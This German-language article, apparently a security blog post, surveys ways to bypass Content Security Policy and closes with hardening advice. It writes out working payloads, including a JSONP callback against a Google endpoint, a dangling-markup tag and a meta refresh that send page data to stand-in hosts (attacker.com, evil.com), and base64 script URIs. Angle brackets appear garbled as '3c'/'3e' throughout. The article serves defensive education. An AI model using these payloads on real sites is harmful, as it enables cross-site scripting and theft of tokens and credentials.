CSP-Umgehung: 1.000 Wege, Content Security Policy zu knacken

Entdecken Sie die ausgefeilten Techniken, mit denen Angreifer selbst die strengsten CSP-Konfigurationen umgehen – von JSONP-Endpunkten bis hin zu schwebendem Markup-Injection. Warum Ihre CSP möglicherweise nur Sicherheits-Theater ist.

Einführung: Das falsche Sicherheitsgefühl

Content Security Policy (CSP) ist der Goldstandard zum Schutz von Webanwendungen vor Cross-Site Scripting (XSS) und anderen Content-Injection-Angriffen. CSP ist ein Mechanismus, um festzulegen, welche Ressourcen eine Webseite laden oder ausführen darf, implementiert über Response-Header oder Meta-Elemente im HTML-Dokument. Organisationen setzen es mit Überzeugung ein, glauben, eine uneinnehmbare Festung um ihre Anwendungen errichtet zu haben.

Aber hier ist die unangenehme Wahrheit: Eine schlecht konfigurierte Content Security Policy kann umgangen werden, wodurch die Anwendung verwundbar bleibt. In vielen Fällen dient CSP eher als Sicherheits-Theater als tatsächlicher Schutz – Entwickler erhalten ein falsches Sicherheitsgefühl, während Angreifer fundamentale Fehlkonfigurationen und Browser-Quirks ausnutzen, um Anwendungen zu kompromittieren.

Dieser Artikel zeigt die ausgefeilte Arsenal-Techniken, mit denen Angreifer CSP umgehen, und erklärt, warum selbst sorgfältig erstellte Policies nicht so zuverlässig sind, wie Sie denken.

Verständnis der Content Security Policy

Bevor wir in Umgehungstechniken eintauchen, ist es wichtig zu verstehen, was CSP ist und wie es funktionieren soll.

Content Security Policy ist ein W3C-Standard, der Entwicklern erlaubt, die Ressourcenladung und Ausführung bestimmter Skripttypen in einer Webanwendung zu kontrollieren. Es dient als zusätzliche Verteidigungsschicht gegen Content-Injection-Angriffe, insbesondere XSS.

CSP arbeitet durch die Definition von Direktiven, die festlegen, welche Ressourcen Browser laden und ausführen dürfen. Gängige Direktiven sind:

script-src: Kontrolle, welche JavaScript-Quellen geladen werden dürfen
default-src: Fallback-Direktive für andere Ressourcentypen
img-src: Gültige Quellen für Bilder
style-src: Kontrolle der Stylesheet-Quellen
connect-src: Beschränkung, welche URLs mittels Script-Interfaces geladen werden dürfen
frame-ancestors: Gültige Eltern für das Einbetten via iframes

Allerdings ist CSP nicht Ihre erste Verteidigungslinie, sondern Teil der Verteidigung in der Tiefe. Es soll Angriffe abfangen, die an der Eingabekontrolle und Output-Encoding vorbeigehen, ersetzt sie aber nicht vollständig.

Die gefährlichsten Missverständnisse

Eines der größten Probleme bei CSP-Implementierungen ist die Kluft zwischen Theorie und Praxis. Viele Entwickler setzen CSP um, ohne seine Grenzen vollständig zu verstehen, was zu kritischen Schwachstellen führt.

Die ‘unsafe-inline’-Falle

Der Einsatz von unsafe-inline in der script-src-Direktive macht die Policy anfällig und erlaubt Inline-Skripte. Dieser einzelne Konfigurationsfehler hebt den CSP-XSS-Schutz vollständig auf, da Angreifer Inline-Script-Tags direkt injizieren können.

Wildcard-Domains: Eine tickende Zeitbombe

Die Verwendung von Wildcards in CSP-Policies mag bequem erscheinen, öffnet aber massive Sicherheitslücken. Wenn Sie ganze Domains auf die Whitelist setzen, vertrauen Sie jedem Endpunkt auf dieser Domain – inklusive solcher, die anfällig sind oder absichtlich ausführbaren Code zurückliefern.

Technik 1: Exploitation von JSONP-Endpunkten

Eine der zuverlässigsten CSP-Umgehungsmethoden ist die Ausnutzung von JSONP (JSON with Padding)-Endpunkten auf whitelisted Domains.

Diese CSP-Umgehungstechnik basiert auf der Ausnutzung von JSONP-Endpunkten in autorisierten Domains. Diese Endpunkte ermöglichen es, die Same-Origin-Policy zu umgehen und Daten von anderen Ursprüngen zu laden, während JavaScript in der Antwort in Form von JSON injiziert wird.

Wie JSONP-Umgehungen funktionieren

JSONP nutzt ein Script-Tag, um Daten von einer anderen Domain zu laden, und umwickelt die Daten in einen Funktionsaufruf. Da die Daten in einem Script-Tag eingebettet sind, können viele CSP-Policies umgangen werden.

Betrachten Sie eine CSP-Policy, die accounts.google.com auf die Whitelist setzt:

Content-Security-Policy: script-src 'self' accounts.google.com

Ein Angreifer kann dies ausnutzen mit:

3cscript src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"3e3c/script3e

Die Antwort enthält ausführbares JavaScript, was erlaubt, die Funktion alert(1) durch ein geladenes Script von diesem Endpunkt auszuführen.

Es gibt eine Reihe von einsatzbereiten CSP-Umgehungsendpunkten in JSONBee, die diese Technik auch weniger versierten Angreifern zugänglich machen.

Reale Auswirkungen

Große Plattformen wie Google, Facebook und unzählige CDNs haben JSONP-Endpunkte, die gegen Seiten, die diese Domains auf die Whitelist setzen, eingesetzt werden können. Das ist keine theoretische Schwachstelle – sie wird aktiv ausgenutzt.

Technik 2: Dangling Markup Injection

Wenn vollständiges XSS aufgrund von CSP-Beschränkungen nicht möglich ist, greifen Angreifer auf dangling markup injection zurück – eine heimliche Technik, um sensible Daten zu exfiltrieren, ohne JavaScript auszuführen.

Dangling Markup Injection ist eine Technik, um Daten domänenübergreifend zu erfassen, wenn ein vollständiger Cross-Site-Scripting-Angriff nicht möglich ist.

Die Mechanik von dangling Markup

Die Idee ist, dass Sie teilweise HTML injizieren, das sich in einem unfertigen Zustand befindet, z.B. ein src-Attribut eines img-Tags, und der Rest des Markups auf der Seite schließt das Attribut, sendet aber die Daten in der Mitte an den entfernten Server.

Betrachten Sie dieses Injektionsszenario:

INJECTION HERE
3cb3etest3c/b3e
3cscript3e
  token = 'supersecret';
3c/script3e
3cform action="blah"3e3c/form3e

Ein Angreifer injiziert:

3cimg src='https://attacker.com/exfil?data=

Das resultierende Markup erfasst alles bis zum nächsten Anführungszeichen:

3cimg src='https://attacker.com/exfil?data=
3cb3etest3c/b3e
3cscript3e
  token = 'supersecret';
3c/script3e
3cform action="blah"3e

Umgehung von CSP durch Manipulation des base-Tags

Mit dem target-Attribut im base-Tag können wir den Fensternamen aller Links auf der Seite ändern. Durch das Injizieren eines unvollständigen target-Attributs wird der Fensternamen mit dem Markup nach der Injection bis zum entsprechenden Anführungszeichen bei jedem Link gesetzt, wodurch wir Tokens stehlen können.

Diese Technik funktioniert auch bei restriktiven CSP-Policies, da sie keine externen Ressourcen lädt oder Skripte ausführt – sie manipuliert nur die HTML-Struktur.

Fortgeschrittene iframe-basierte dangling Markup

CSP behandelt URLs wie about:blank als gleiches Ursprungsgebiet – wenn ein Angreifer jedoch ein cross-domain iframe auf about:blank setzt, wird es vom Angreifer lesbar und ist definitiv nicht vom selben Ursprung.

Dieses Browser-Quirk ermöglicht ausgeklügelte Angriffe, bei denen iframes manipuliert werden können, um sensible Informationen über Domains hinweg zu leaken, wodurch CSP-Schutzmaßnahmen vollständig umgangen werden.

Technik 3: Manipulation des Browser-Caches

Eine der neuesten und ausgefeiltesten Entdeckungen ist die Ausnutzung von Browser-Caching-Mechanismen, um nonce-basierte CSP-Implementierungen zu umgehen.

Die Methode nutzt die Interaktion zwischen nonce-basierten CSP-Implementierungen und Browser-Caching-Mechanismen, insbesondere den back/forward cache (bfcache) und den Festplatten-Cache.

Der Nonce-Leak-Angriff

Die Technik nutzt CSS-Attribut-Selektoren, um nonce-Werte aus Meta-Tags mit CSP-Headern zu extrahieren. Während nonce-Attribute in Script-Tags aus Sicherheitsgründen vor CSS-Selektoren geschützt sind, bleiben die gleichen Werte im Content-Attribut des Meta-Tags zugänglich.

Der Angriff läuft in Schritten:

Verwendung von CSS-Injection, um nonce-Werte systematisch Zeichen für Zeichen zu leaken
Ausnutzung von CSRF-Schwachstellen, um die injizierte Payload zu aktualisieren
Manipulation des Browser-Caches, um die aktualisierte Payload mit dem zuvor geleakten nonce zu laden
Ausführung schädlichen Codes trotz nonce-basiertem CSP-Schutz

Diese Forschung hat erhebliche Implikationen für die Sicherheit von Webanwendungen, da viele auf nonce-basiertes CSP als primären Schutz gegen XSS setzen.

Technik 4: Missbrauch des iframe- und srcdoc-Attributs

Das srcdoc-Attribut von iframes bietet einen weiteren mächtigen Umgehungskanal, den viele CSP-Policies übersehen.

Das oben beschriebene CSP kann durch iframes umgangen werden. Voraussetzung ist, dass die Anwendung iframes von der whitelisted Domain erlaubt. Mit dem speziellen srcdoc-Attribut eines iframes kann XSS leicht erreicht werden.

Betrachten Sie eine Policy wie:

Content-Security-Policy: default-src 'self' data: *; 
script-src 'self' https://trusted-cdn.com

Ein Angreifer kann injizieren:

3ciframe srcdoc="3cscript src='https://trusted-cdn.com/vulnerable-endpoint.js'3e3c/script3e"3e3c/iframe3e

Das iframe erbt die CSP des Elternteils, kann aber Inhalte laden, die Restriktionen durch srcdoc umgehen.

Technik 5: Base64-Daten-URIs

Wenn CSP data: URIs in script-Quellen erlaubt, können Angreifer schädliche Skripte direkt im konformen Format kodieren.

Das Vorhandensein von data: in CSP erlaubt das Einbinden von in Base64 kodierten Skripten, die vom Browser direkt interpretiert werden.

Beispiel für Exploitation:

3cscript src="data:;base64,YWxlcnQoMSk="3c/script3e

Diese Technik funktioniert, weil der Browser das Base64-kodierte JavaScript decodiert und ausführt, wodurch externe Ressourcen umgangen werden.

Technik 6: AngularJS- und Framework-spezifische Umgehungen

Alte JavaScript-Frameworks bieten eigene Umgehungschancen.

Die CSP-Policy kann umgangen werden, wenn die AngularJS-Anwendung Skripte von einer whitelisted Domain lädt.

AngularJS-Versionen vor 1.6 sind besonders anfällig aufgrund ihrer Schwächen bei der Sandbox-Implementierung. Angreifer können Payloads erstellen, die die Sandbox verlassen und beliebigen Code innerhalb dieser Anwendungen ausführen.

Das Framework-Abhängigkeitsproblem

Moderne Webanwendungen sind oft auf zahlreiche JavaScript-Bibliotheken und Frameworks angewiesen. Jede Abhängigkeit kann potenziell Umgehungspfade eröffnen, insbesondere wenn sie von whitelisted CDNs geladen werden, die anfällige Versionen hosten.

Technik 7: Formular-Hijacking

Formular-Hijacking ist nicht mit herkömmlicher Skriptausführung verbunden, sondern nutzt HTML-Injection-Schwachstellen, um Formularübermittlungen umzuleiten.

Wenn CSP keine form-action-Direktiven enthält oder Formularübermittlungen an externe Domains erlaubt, können Angreifer:

Eine gefälschte Form injizieren, die legitime Login-Interfaces nachahmt
Formularübermittlungen an vom Angreifer kontrollierte Server schicken
Anmeldeinformationen und sensible Daten stehlen, ohne JavaScript auszuführen

Diese Technik ist besonders heimtückisch, da sie auch bei den strengsten script-src-Policies funktioniert.

Technik 8: Path Traversal in CSP-Policies

Eine subtile, aber kritische Schwachstelle ergibt sich daraus, wie Browser und Server Pfade unterschiedlich interpretieren.

Wenn Sie das / verwenden, um ‘/’ als Teil Ihrer CSP-Policy zu kodieren und auf einen Ordner verweisen, wird es trotzdem als Teil des Ordners betrachtet. Beim Decodieren durch den Server kann es umgangen werden, indem “/../” genutzt wird, um die Ordnerbeschränkung zu umgehen.

Beispiel: Eine Policy, die Skripte auf /company/ beschränkt, kann mit:

https://example.com/company/../attacker/malicious.js

umgangen werden.

Technik 9: Exploitation von Object- und Embed-Tags

Während Script-Tags die meiste Aufmerksamkeit erhalten, können auch Object- und Embed-Tags Code ausführen.

3cobject data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="3e3c/object3e

Flash-basierte Umgehungen mit Object-Tags können CSP ebenfalls umgehen, wenn alte Flash-Dateien auf der Whitelist stehen oder object-src nicht richtig eingeschränkt ist.

Technik 10: Meta-Tag-Refresh-Angriffe

Meta-Tags bieten eine weitere Möglichkeit zur Datenexfiltration und Weiterleitung:

3cmeta http-equiv="refresh" content="0;URL=http://evil.com/log.php?data="3e

Dies injiziert eine Weiterleitung, die den nachfolgenden Seiteninhalt erfassen kann, nützlich zum Stehlen von Tokens und sensiblen Daten.

Warum Ihre CSP nur Sicherheits-Theater sein könnte

Die bittere Wahrheit ist, dass viele CSP-Implementierungen nur minimalen tatsächlichen Sicherheitsnutzen bieten. Hier die Gründe:

Komplexität fördert Fehler

CSP-Konfigurationen sind äußerst komplex. Fehler in der Konfiguration – etwa ‘unsafe-inline’ oder das Whitelisting falscher Domains – können den Schutz vollständig aufheben.

Das Whitelist-Problem

Jede auf die Whitelist gesetzte Domain ist eine potenzielle Angriffsfläche. Mit wachsender Anzahl an Drittanbieterdiensten wächst auch die Angriffsfläche exponentiell.

Browser-Inkonsistenzen

Unterschiedliche Browser interpretieren und erzwingen CSP unterschiedlich, was zu inkonsistentem Schutz führt. Angreifer nutzen diese Inkonsistenzen, um Umgehungen zu entwickeln.

Legacy-Code-Beschränkungen

Selbst wenn die Validierung umgangen wird, blockiert CSP die Skriptausführung von unerwünschten Quellen – vorausgesetzt, es ist richtig konfiguriert. Ältere Anwendungen können oft keine strikten CSP-Policies umsetzen, ohne die Funktionalität zu verlieren.

Testen Ihrer CSP auf Schwachstellen

Mehrere Tools helfen, Schwachstellen in Ihrer CSP-Implementierung zu identifizieren:

https://csp-evaluator.withgoogle.com/ 2. https://cspvalidator.org/

Diese Tools analysieren Ihre Policy und erkennen häufige Fehlkonfigurationen, können aber nicht alle Schwachstellen erfassen – insbesondere anwendungsspezifische.

Manuelle Testansätze

Effektives CSP-Testing erfordert:

Alle whitelisted Domains identifizieren
Nach JSONP-Endpunkten auf diesen Domains suchen
Nach HTML-Injection-Schwachstellen testen
Verschiedene Umgehungstechniken systematisch ausprobieren
Das Verhalten der Anwendung bei Randfällen analysieren

Best Practices zur Verstärkung von CSP

Obwohl kein CSP vollständig umgehungssicher ist, verbessern bestimmte Praktiken die Sicherheit erheblich:

Verwendung von Nonces oder Hashes, nicht Whitelists

Vermeiden Sie das vollständige Whitelisting von Domains. Stattdessen nutzen Sie nonce- oder hash-basierte CSP:

Content-Security-Policy: script-src 'nonce-RANDOM_VALUE'

Generieren Sie für jede Seitenladung eine einzigartige nonce und erlauben Sie nur Skripte mit diesem nonce.

Eliminieren Sie ‘unsafe-inline’ und ‘unsafe-eval’

Diese Direktiven sollten niemals in produktiven CSP-Policies erscheinen. Sie untergraben den XSS-Schutz vollständig.

Beschränken Sie alle Direktiven

Konzentrieren Sie sich nicht nur auf script-src. Konfigurieren Sie:

object-src ‘none’: Verhindert Object- und Embed-Exploits
base-uri ‘none’: Verhindert Manipulation des base-Tags
form-action ‘self’: Beschränkt Formularübermittlungen
frame-ancestors ‘none’: Verhindert Clickjacking

Implementieren Sie den Report-Only-Modus sorgfältig

Content-Security-Policy-Report-Only: Wird für Überwachung genutzt; meldet Verstöße, ohne sie zu blockieren. Ideal für Tests in Vorproduktionsumgebungen.

Nutzen Sie den Report-Only-Modus, um Policies vor der Durchsetzung zu testen, aber lassen Sie ihn niemals dauerhaft in Produktion aktiv.

Regelmäßige Sicherheitsüberprüfungen

CSP ist keine ‘Einrichten-und-Verlassen’-Lösung. Regelmäßige Audits sollten umfassen:

Überprüfung aller whitelisted Domains auf JSONP-Endpunkte
Tests auf neue Umgehungstechniken
Aktualisierung der Policies bei Änderungen der Anwendung
Entfernen ungenutzter Domains

Cache-Control-Header

Sicherheitsfachleute müssen das Cache-Verhalten bei CSP-Implementierungen berücksichtigen, ggf. mit zusätzlichen Schutzmaßnahmen wie Cache-Control-Headern.

Richtige Cache-Header verhindern Cache-basierte nonce-Leak-Angriffe.

Der Ansatz der Verteidigung in der Tiefe

CSP ist eine zusätzliche Sicherheitsschicht gegen Content-Injection. Die erste Verteidigungslinie ist stets die Output-Encoding und Eingabekontrolle.

Verlassen Sie sich niemals ausschließlich auf CSP. Eine umfassende Sicherheitsstrategie umfasst:

Eingabekontrolle: Unerwünschte Eingaben ablehnen, bevor sie Ihre Anwendung erreichen
Output-Encoding: Alle nutzergenerierten Inhalte richtig kodieren
CSP: Angriffe abfangen, die andere Verteidigungen durchdringen
WAF (Web Application Firewall): Bekannte Angriffsmuster blockieren
Sicherheits-Header: Zusätzliche Header wie X-Content-Type-Options und X-Frame-Options setzen
Regelmäßige Updates: Frameworks und Bibliotheken aktuell halten

Fallstudien aus der Praxis

Das Google JSONP-Problem

Zahlreiche Anwendungen, die Google-Domains auf die Whitelist setzen, wurden Opfer von JSONP-Endpunkt-Ausnutzung. Der oauth2/revoke-Endpunkt wurde zum beliebten Ziel, CSP-Schutz zu umgehen.

Die AngularJS-Sandbox-Exploits

Mehrere hochkritische Schwachstellen in AngularJS 1.x ermöglichten vollständige Sandbox-Exits, wodurch Anwendungen, die auf CSP vertrauten, kompromittiert wurden.

E-Commerce-Plattformen mit Datenpannen

Mehrere große E-Commerce-Plattformen erlitten Datenlecks, weil Angreifer Formular-Hijacking nutzten, um Kundendaten zu stehlen – trotz scheinbar strenger CSP-Policies.

Neue Bedrohungen und zukünftige Entwicklungen

Mit der Weiterentwicklung der Web-Sicherheit verändern sich auch die Umgehungstechniken. Zu den aufkommenden Themen gehören:

Verwirrung um Trusted Types API

Obwohl Trusted Types besseren Schutz gegen XSS versprechen, können Implementierungsfehler neue Umgehungschancen schaffen.

WebAssembly-Ausnutzung

Mit zunehmender Verbreitung von WebAssembly entstehen neue Angriffspfade, die aktuelle CSP-Implementierungen möglicherweise nicht ausreichend abdecken.

Angriffe auf Service Worker

Service Worker operieren außerhalb der traditionellen CSP-Beschränkungen und könnten neue Exploit-Möglichkeiten bieten.

Fazit: Über das Sicherheits-Theater hinaus

Content Security Policy bleibt ein wichtiger Sicherheitsmechanismus, ist aber kein Allheilmittel, wie viele glauben. Die Vielzahl an Umgehungstechniken – von JSONP-Exploits bis hin zu dangling Markup Injection, Cache-Manipulationen und Framework-spezifischen Angriffen – zeigt, dass CSP allein modernen Webanwendungen keinen vollständigen Schutz bietet.

Der Weg nach vorne erfordert:

Realistische Erwartungen: CSP hat Grenzen
Verteidigung in der Tiefe: Mehrere Sicherheitskontrollen schichten
Ständige Wachsamkeit: Policies regelmäßig prüfen und aktualisieren
Sicherheitsorientierte Entwicklung: Sicherheit von Anfang an in Anwendungen integrieren

Ihre CSP mag in Sicherheits-Audits beeindruckend aussehen, aber wenn sie eine der hier diskutierten Fehlkonfigurationen oder Schwachstellen enthält, bietet sie nur noch Sicherheits-Theater. Angreifer kennen diese Techniken – es ist Zeit, dass Verteidiger das auch tun.

Die Frage ist nicht, ob Ihre CSP umgangen werden kann – sondern, wie lange es dauert, bis ein Angreifer die richtige Methode findet. Mit dem Verständnis dieser Umgehungstechniken und robusten Abwehrmaßnahmen können Sie die Hürde deutlich erhöhen und Ihre Anwendungen vor der nächsten Generation ausgeklügelter Angriffe schützen.

Denken Sie daran: CSP ist eine Schicht in Ihrer Sicherheitsstrategie, nicht die gesamte Strategie. Richtig einsetzen, gründlich testen und niemals annehmen, es macht Ihre Anwendung unverwundbar.